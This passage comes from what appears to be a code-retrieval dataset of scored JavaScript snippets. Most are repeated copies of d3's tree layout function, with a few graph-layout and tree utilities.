"9c16f820d7aa6c951e0d259110c47c9e", "score": "0.5274869", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n}", "title": "" }, { "docid": "701a0e9b517e06f12495b5de15f5af99", "score": "0.52335554", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), (t.parent.m = -t.z);\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function (node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function (node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (((vim = nextRight(vim)), (vip = nextLeft(vip)), vim && vip)) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function (x) {\n return arguments.length ? ((separation = x), tree) : separation;\n };\n\n tree.size = function (x) {\n return arguments.length\n ? ((nodeSize = false), (dx = +x[0]), (dy = +x[1]), tree)\n : nodeSize\n ? null\n : [dx, dy];\n };\n\n tree.nodeSize = function (x) {\n return arguments.length\n ? ((nodeSize = true), (dx = +x[0]), (dy = +x[1]), tree)\n : nodeSize\n ? [dx, dy]\n : null;\n };\n\n return tree;\n }", "title": "" }, { "docid": "329302169df8ddfea3712a3aff23c62e", "score": "0.51945484", "text": "function adjustRanks(graph, tree) {\n function dfs(p) {\n var children = tree.successors(p);\n children.forEach(function(c) {\n var minLen = minimumLength(graph, p, c);\n graph.node(c).rank = graph.node(p).rank + minLen;\n dfs(c);\n });\n }\n\n dfs(tree.graph().root);\n}", "title": "" }, { "docid": "17afdce6230134006bfb1f7fe4db6a15", "score": "0.5182827", "text": "function tree() {\n var separation = defaultSeparation$1,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n t.eachBefore(secondWalk);\n\n // If a fixed node size is specified, scale x and y.\n if (nodeSize) root.eachBefore(sizeNode);\n\n // If a fixed tree size is specified, scale x and y based on the extent.\n // Compute the left-most, right-most, and depth-most nodes for extents.\n else {\n var left = root,\n right = root,\n bottom = root;\n root.eachBefore(function(node) {\n if (node.x < left.x) left = node;\n if (node.x > right.x) right = node;\n if (node.depth > bottom.depth) bottom = node;\n });\n var s = left === right ? 1 : separation(left, right) / 2,\n tx = s - left.x,\n kx = dx / (right.x + s + tx),\n ky = dy / (bottom.depth || 1);\n root.eachBefore(function(node) {\n node.x = (node.x + tx) * kx;\n node.y = node.depth * ky;\n });\n }\n\n return root;\n }\n\n // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n // applied recursively to the children of v, as well as the function\n // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n // node v is placed to the midpoint of its outermost children.\n function firstWalk(v) {\n var children = v.children,\n siblings = v.parent.children,\n w = v.i ? siblings[v.i - 1] : null;\n if (children) {\n executeShifts(v);\n var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n if (w) {\n v.z = w.z + separation(v._, w._);\n v.m = v.z - midpoint;\n } else {\n v.z = midpoint;\n }\n } else if (w) {\n v.z = w.z + separation(v._, w._);\n }\n v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n }\n\n // Computes all real x-coordinates by summing up the modifiers recursively.\n function secondWalk(v) {\n v._.x = v.z + v.parent.m;\n v.m += v.parent.m;\n }\n\n // The core of the algorithm. Here, a new subtree is combined with the\n // previous subtrees. Threads are used to traverse the inside and outside\n // contours of the left and right subtree up to the highest common level. The\n // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n // superscript o means outside and i means inside, the subscript - means left\n // subtree and + means right subtree. For summing up the modifiers along the\n // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n // nodes of the inside contours conflict, we compute the left one of the\n // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n // Finally, we add a new thread (if necessary).\n function apportion(v, w, ancestor) {\n if (w) {\n var vip = v,\n vop = v,\n vim = w,\n vom = vip.parent.children[0],\n sip = vip.m,\n sop = vop.m,\n sim = vim.m,\n som = vom.m,\n shift;\n while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n vom = nextLeft(vom);\n vop = nextRight(vop);\n vop.a = v;\n shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n if (shift > 0) {\n moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n sip += shift;\n sop += shift;\n }\n sim += vim.m;\n sip += vip.m;\n som += vom.m;\n sop += vop.m;\n }\n if (vim && !nextRight(vop)) {\n vop.t = vim;\n vop.m += sim - sop;\n }\n if (vip && !nextLeft(vom)) {\n vom.t = vip;\n vom.m += sip - som;\n ancestor = v;\n }\n }\n return ancestor;\n }\n\n function sizeNode(node) {\n node.x *= dx;\n node.y = node.depth * dy;\n }\n\n tree.separation = function(x) {\n return arguments.length ? (separation = x, tree) : separation;\n };\n\n tree.size = function(x) {\n return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n };\n\n tree.nodeSize = function(x) {\n return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n };\n\n return tree;\n }", "title": "" }, { "docid": "1aea1788117b673f7c34ff88e8167d2b", "score": "0.51596045", "text": "function tree() {\n\t var separation = defaultSeparation$1,\n\t dx = 1,\n\t dy = 1,\n\t nodeSize = null;\n\n\t function tree(root) {\n\t var t = treeRoot(root);\n\n\t // Compute the layout using Buchheim et al.’s algorithm.\n\t t.eachAfter(firstWalk), t.parent.m = -t.z;\n\t t.eachBefore(secondWalk);\n\n\t // If a fixed node size is specified, scale x and y.\n\t if (nodeSize) root.eachBefore(sizeNode);\n\n\t // If a fixed tree size is specified, scale x and y based on the extent.\n\t // Compute the left-most, right-most, and depth-most nodes for extents.\n\t else {\n\t var left = root,\n\t right = root,\n\t bottom = root;\n\t root.eachBefore(function(node) {\n\t if (node.x < left.x) left = node;\n\t if (node.x > right.x) right = node;\n\t if (node.depth > bottom.depth) bottom = node;\n\t });\n\t var s = left === right ? 1 : separation(left, right) / 2,\n\t tx = s - left.x,\n\t kx = dx / (right.x + s + tx),\n\t ky = dy / (bottom.depth || 1);\n\t root.eachBefore(function(node) {\n\t node.x = (node.x + tx) * kx;\n\t node.y = node.depth * ky;\n\t });\n\t }\n\n\t return root;\n\t }\n\n\t // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n\t // applied recursively to the children of v, as well as the function\n\t // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n\t // node v is placed to the midpoint of its outermost children.\n\t function firstWalk(v) {\n\t var children = v.children,\n\t siblings = v.parent.children,\n\t w = v.i ? siblings[v.i - 1] : null;\n\t if (children) {\n\t executeShifts(v);\n\t var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n\t if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t v.m = v.z - midpoint;\n\t } else {\n\t v.z = midpoint;\n\t }\n\t } else if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t }\n\t v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n\t }\n\n\t // Computes all real x-coordinates by summing up the modifiers recursively.\n\t function secondWalk(v) {\n\t v._.x = v.z + v.parent.m;\n\t v.m += v.parent.m;\n\t }\n\n\t // The core of the algorithm. Here, a new subtree is combined with the\n\t // previous subtrees. Threads are used to traverse the inside and outside\n\t // contours of the left and right subtree up to the highest common level. The\n\t // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n\t // superscript o means outside and i means inside, the subscript - means left\n\t // subtree and + means right subtree. For summing up the modifiers along the\n\t // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n\t // nodes of the inside contours conflict, we compute the left one of the\n\t // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n\t // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n\t // Finally, we add a new thread (if necessary).\n\t function apportion(v, w, ancestor) {\n\t if (w) {\n\t var vip = v,\n\t vop = v,\n\t vim = w,\n\t vom = vip.parent.children[0],\n\t sip = vip.m,\n\t sop = vop.m,\n\t sim = vim.m,\n\t som = vom.m,\n\t shift;\n\t while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n\t vom = nextLeft(vom);\n\t vop = nextRight(vop);\n\t vop.a = v;\n\t shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n\t if (shift > 0) {\n\t moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n\t sip += shift;\n\t sop += shift;\n\t }\n\t sim += vim.m;\n\t sip += vip.m;\n\t som += vom.m;\n\t sop += vop.m;\n\t }\n\t if (vim && !nextRight(vop)) {\n\t vop.t = vim;\n\t vop.m += sim - sop;\n\t }\n\t if (vip && !nextLeft(vom)) {\n\t vom.t = vip;\n\t vom.m += sip - som;\n\t ancestor = v;\n\t }\n\t }\n\t return ancestor;\n\t }\n\n\t function sizeNode(node) {\n\t node.x *= dx;\n\t node.y = node.depth * dy;\n\t }\n\n\t tree.separation = function(x) {\n\t return arguments.length ? (separation = x, tree) : separation;\n\t };\n\n\t tree.size = function(x) {\n\t return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n\t };\n\n\t tree.nodeSize = function(x) {\n\t return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n\t };\n\n\t return tree;\n\t}", "title": "" }, { "docid": "c84920d3de3e009fd4492570770deea9", "score": "0.51529753", "text": "function findSpanningTree (G, v0) {\n var visited = d3Collection.set();\n var tree = new graphlib_1({directed: true});\n var thread = [];\n\n if (!G.hasNode(v0)) { throw Error('node not in graph') }\n\n doDfs$1(G, v0, visited, tree, thread);\n G.nodes().forEach(function (u) {\n if (!visited.has(u)) {\n doDfs$1(G, u, visited, tree, thread);\n }\n });\n\n thread.forEach(function (u, i) {\n tree.node(u).thread = (i + 1 < thread.length) ? thread[i + 1] : thread[0];\n });\n\n return tree\n}", "title": "" }, { "docid": "58291716170d0d9df22e1518778b0cfd", "score": "0.51523536", "text": "createTree1() {\r\n let arr = this.inOrder();\r\n let node = this.root\r\n let start = 0, end = arr.length;\r\n while (start > end) {\r\n let mid = Math.floor((start + end) / 2);\r\n node = new Node(arr[mid]);\r\n if (node.left) {\r\n end = mid - 1;\r\n }\r\n if (node.right) {\r\n start = mid + 1\r\n }\r\n }\r\n return node;\r\n }", "title": "" }, { "docid": "48ba8c8fa5ec82823918bac3f4bd54a1", "score": "0.5079337", "text": "function tree() {\n\t var separation = defaultSeparation$1,\n\t dx = 1,\n\t dy = 1,\n\t nodeSize = null;\n\t\n\t function tree(root) {\n\t var t = treeRoot(root);\n\t\n\t // Compute the layout using Buchheim et al.’s algorithm.\n\t t.eachAfter(firstWalk), t.parent.m = -t.z;\n\t t.eachBefore(secondWalk);\n\t\n\t // If a fixed node size is specified, scale x and y.\n\t if (nodeSize) root.eachBefore(sizeNode);\n\t\n\t // If a fixed tree size is specified, scale x and y based on the extent.\n\t // Compute the left-most, right-most, and depth-most nodes for extents.\n\t else {\n\t var left = root,\n\t right = root,\n\t bottom = root;\n\t root.eachBefore(function(node) {\n\t if (node.x < left.x) left = node;\n\t if (node.x > right.x) right = node;\n\t if (node.depth > bottom.depth) bottom = node;\n\t });\n\t var s = left === right ? 1 : separation(left, right) / 2,\n\t tx = s - left.x,\n\t kx = dx / (right.x + s + tx),\n\t ky = dy / (bottom.depth || 1);\n\t root.eachBefore(function(node) {\n\t node.x = (node.x + tx) * kx;\n\t node.y = node.depth * ky;\n\t });\n\t }\n\t\n\t return root;\n\t }\n\t\n\t // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n\t // applied recursively to the children of v, as well as the function\n\t // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n\t // node v is placed to the midpoint of its outermost children.\n\t function firstWalk(v) {\n\t var children = v.children,\n\t siblings = v.parent.children,\n\t w = v.i ? siblings[v.i - 1] : null;\n\t if (children) {\n\t executeShifts(v);\n\t var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n\t if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t v.m = v.z - midpoint;\n\t } else {\n\t v.z = midpoint;\n\t }\n\t } else if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t }\n\t v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n\t }\n\t\n\t // Computes all real x-coordinates by summing up the modifiers recursively.\n\t function secondWalk(v) {\n\t v._.x = v.z + v.parent.m;\n\t v.m += v.parent.m;\n\t }\n\t\n\t // The core of the algorithm. Here, a new subtree is combined with the\n\t // previous subtrees. Threads are used to traverse the inside and outside\n\t // contours of the left and right subtree up to the highest common level. The\n\t // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n\t // superscript o means outside and i means inside, the subscript - means left\n\t // subtree and + means right subtree. For summing up the modifiers along the\n\t // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n\t // nodes of the inside contours conflict, we compute the left one of the\n\t // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n\t // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n\t // Finally, we add a new thread (if necessary).\n\t function apportion(v, w, ancestor) {\n\t if (w) {\n\t var vip = v,\n\t vop = v,\n\t vim = w,\n\t vom = vip.parent.children[0],\n\t sip = vip.m,\n\t sop = vop.m,\n\t sim = vim.m,\n\t som = vom.m,\n\t shift;\n\t while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n\t vom = nextLeft(vom);\n\t vop = nextRight(vop);\n\t vop.a = v;\n\t shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n\t if (shift > 0) {\n\t moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n\t sip += shift;\n\t sop += shift;\n\t }\n\t sim += vim.m;\n\t sip += vip.m;\n\t som += vom.m;\n\t sop += vop.m;\n\t }\n\t if (vim && !nextRight(vop)) {\n\t vop.t = vim;\n\t vop.m += sim - sop;\n\t }\n\t if (vip && !nextLeft(vom)) {\n\t vom.t = vip;\n\t vom.m += sip - som;\n\t ancestor = v;\n\t }\n\t }\n\t return ancestor;\n\t }\n\t\n\t function sizeNode(node) {\n\t node.x *= dx;\n\t node.y = node.depth * dy;\n\t }\n\t\n\t tree.separation = function(x) {\n\t return arguments.length ? (separation = x, tree) : separation;\n\t };\n\t\n\t tree.size = function(x) {\n\t return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n\t };\n\t\n\t tree.nodeSize = function(x) {\n\t return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n\t };\n\t\n\t return tree;\n\t }", "title": "" }, { "docid": "48ba8c8fa5ec82823918bac3f4bd54a1", "score": "0.5079337", "text": "function tree() {\n\t var separation = defaultSeparation$1,\n\t dx = 1,\n\t dy = 1,\n\t nodeSize = null;\n\t\n\t function tree(root) {\n\t var t = treeRoot(root);\n\t\n\t // Compute the layout using Buchheim et al.’s algorithm.\n\t t.eachAfter(firstWalk), t.parent.m = -t.z;\n\t t.eachBefore(secondWalk);\n\t\n\t // If a fixed node size is specified, scale x and y.\n\t if (nodeSize) root.eachBefore(sizeNode);\n\t\n\t // If a fixed tree size is specified, scale x and y based on the extent.\n\t // Compute the left-most, right-most, and depth-most nodes for extents.\n\t else {\n\t var left = root,\n\t right = root,\n\t bottom = root;\n\t root.eachBefore(function(node) {\n\t if (node.x < left.x) left = node;\n\t if (node.x > right.x) right = node;\n\t if (node.depth > bottom.depth) bottom = node;\n\t });\n\t var s = left === right ? 1 : separation(left, right) / 2,\n\t tx = s - left.x,\n\t kx = dx / (right.x + s + tx),\n\t ky = dy / (bottom.depth || 1);\n\t root.eachBefore(function(node) {\n\t node.x = (node.x + tx) * kx;\n\t node.y = node.depth * ky;\n\t });\n\t }\n\t\n\t return root;\n\t }\n\t\n\t // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n\t // applied recursively to the children of v, as well as the function\n\t // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n\t // node v is placed to the midpoint of its outermost children.\n\t function firstWalk(v) {\n\t var children = v.children,\n\t siblings = v.parent.children,\n\t w = v.i ? siblings[v.i - 1] : null;\n\t if (children) {\n\t executeShifts(v);\n\t var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n\t if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t v.m = v.z - midpoint;\n\t } else {\n\t v.z = midpoint;\n\t }\n\t } else if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t }\n\t v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n\t }\n\t\n\t // Computes all real x-coordinates by summing up the modifiers recursively.\n\t function secondWalk(v) {\n\t v._.x = v.z + v.parent.m;\n\t v.m += v.parent.m;\n\t }\n\t\n\t // The core of the algorithm. Here, a new subtree is combined with the\n\t // previous subtrees. Threads are used to traverse the inside and outside\n\t // contours of the left and right subtree up to the highest common level. The\n\t // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n\t // superscript o means outside and i means inside, the subscript - means left\n\t // subtree and + means right subtree. For summing up the modifiers along the\n\t // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n\t // nodes of the inside contours conflict, we compute the left one of the\n\t // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n\t // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n\t // Finally, we add a new thread (if necessary).\n\t function apportion(v, w, ancestor) {\n\t if (w) {\n\t var vip = v,\n\t vop = v,\n\t vim = w,\n\t vom = vip.parent.children[0],\n\t sip = vip.m,\n\t sop = vop.m,\n\t sim = vim.m,\n\t som = vom.m,\n\t shift;\n\t while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n\t vom = nextLeft(vom);\n\t vop = nextRight(vop);\n\t vop.a = v;\n\t shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n\t if (shift > 0) {\n\t moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n\t sip += shift;\n\t sop += shift;\n\t }\n\t sim += vim.m;\n\t sip += vip.m;\n\t som += vom.m;\n\t sop += vop.m;\n\t }\n\t if (vim && !nextRight(vop)) {\n\t vop.t = vim;\n\t vop.m += sim - sop;\n\t }\n\t if (vip && !nextLeft(vom)) {\n\t vom.t = vip;\n\t vom.m += sip - som;\n\t ancestor = v;\n\t }\n\t }\n\t return ancestor;\n\t }\n\t\n\t function sizeNode(node) {\n\t node.x *= dx;\n\t node.y = node.depth * dy;\n\t }\n\t\n\t tree.separation = function(x) {\n\t return arguments.length ? (separation = x, tree) : separation;\n\t };\n\t\n\t tree.size = function(x) {\n\t return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n\t };\n\t\n\t tree.nodeSize = function(x) {\n\t return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n\t };\n\t\n\t return tree;\n\t }", "title": "" }, { "docid": "291652387ed0364eb0c52e638ae787f3", "score": "0.50747925", "text": "function run(g){var root=util.addDummyNode(g,\"root\",{},\"_root\"),depths=treeDepths(g),height=_.max(_.values(depths))-1,nodeSep=2*height+1;g.graph().nestingRoot=root;// Multiply minlen by nodeSep to align nodes on non-border ranks.\n_.forEach(g.edges(),function(e){g.edge(e).minlen*=nodeSep});// Calculate a weight that is sufficient to keep subgraphs vertically compact\nvar weight=sumWeights(g)+1;// Create border nodes and link them up\n_.forEach(g.children(),function(child){dfs(g,root,nodeSep,weight,height,depths,child)});// Save the multiplier for node layers for later removal of empty border\n// layers.\ng.graph().nodeRankFactor=nodeSep}", "title": "" }, { "docid": "7fbe60bf87254e41ba3ed6d00898b493", "score": "0.5042262", "text": "function tree() {\n\t var separation = defaultSeparation$1,\n\t dx = 1,\n\t dy = 1,\n\t nodeSize = null;\n\n\t function tree(root) {\n\t var t = treeRoot(root);\n\n\t // Compute the layout using Buchheim et al.’s algorithm.\n\t t.eachAfter(firstWalk), t.parent.m = -t.z;\n\t t.eachBefore(secondWalk);\n\n\t // If a fixed node size is specified, scale x and y.\n\t if (nodeSize) root.eachBefore(sizeNode);\n\n\t // If a fixed tree size is specified, scale x and y based on the extent.\n\t // Compute the left-most, right-most, and depth-most nodes for extents.\n\t else {\n\t var left = root,\n\t right = root,\n\t bottom = root;\n\t root.eachBefore(function(node) {\n\t if (node.x < left.x) left = node;\n\t if (node.x > right.x) right = node;\n\t if (node.depth > bottom.depth) bottom = node;\n\t });\n\t var s = left === right ? 1 : separation(left, right) / 2,\n\t tx = s - left.x,\n\t kx = dx / (right.x + s + tx),\n\t ky = dy / (bottom.depth || 1);\n\t root.eachBefore(function(node) {\n\t node.x = (node.x + tx) * kx;\n\t node.y = node.depth * ky;\n\t });\n\t }\n\n\t return root;\n\t }\n\n\t // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is\n\t // applied recursively to the children of v, as well as the function\n\t // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the\n\t // node v is placed to the midpoint of its outermost children.\n\t function firstWalk(v) {\n\t var children = v.children,\n\t siblings = v.parent.children,\n\t w = v.i ? siblings[v.i - 1] : null;\n\t if (children) {\n\t executeShifts(v);\n\t var midpoint = (children[0].z + children[children.length - 1].z) / 2;\n\t if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t v.m = v.z - midpoint;\n\t } else {\n\t v.z = midpoint;\n\t }\n\t } else if (w) {\n\t v.z = w.z + separation(v._, w._);\n\t }\n\t v.parent.A = apportion(v, w, v.parent.A || siblings[0]);\n\t }\n\n\t // Computes all real x-coordinates by summing up the modifiers recursively.\n\t function secondWalk(v) {\n\t v._.x = v.z + v.parent.m;\n\t v.m += v.parent.m;\n\t }\n\n\t // The core of the algorithm. Here, a new subtree is combined with the\n\t // previous subtrees. Threads are used to traverse the inside and outside\n\t // contours of the left and right subtree up to the highest common level. The\n\t // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the\n\t // superscript o means outside and i means inside, the subscript - means left\n\t // subtree and + means right subtree. For summing up the modifiers along the\n\t // contour, we use respective variables si+, si-, so-, and so+. Whenever two\n\t // nodes of the inside contours conflict, we compute the left one of the\n\t // greatest uncommon ancestors using the function ANCESTOR and call MOVE\n\t // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees.\n\t // Finally, we add a new thread (if necessary).\n\t function apportion(v, w, ancestor) {\n\t if (w) {\n\t var vip = v,\n\t vop = v,\n\t vim = w,\n\t vom = vip.parent.children[0],\n\t sip = vip.m,\n\t sop = vop.m,\n\t sim = vim.m,\n\t som = vom.m,\n\t shift;\n\t while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) {\n\t vom = nextLeft(vom);\n\t vop = nextRight(vop);\n\t vop.a = v;\n\t shift = vim.z + sim - vip.z - sip + separation(vim._, vip._);\n\t if (shift > 0) {\n\t moveSubtree(nextAncestor(vim, v, ancestor), v, shift);\n\t sip += shift;\n\t sop += shift;\n\t }\n\t sim += vim.m;\n\t sip += vip.m;\n\t som += vom.m;\n\t sop += vop.m;\n\t }\n\t if (vim && !nextRight(vop)) {\n\t vop.t = vim;\n\t vop.m += sim - sop;\n\t }\n\t if (vip && 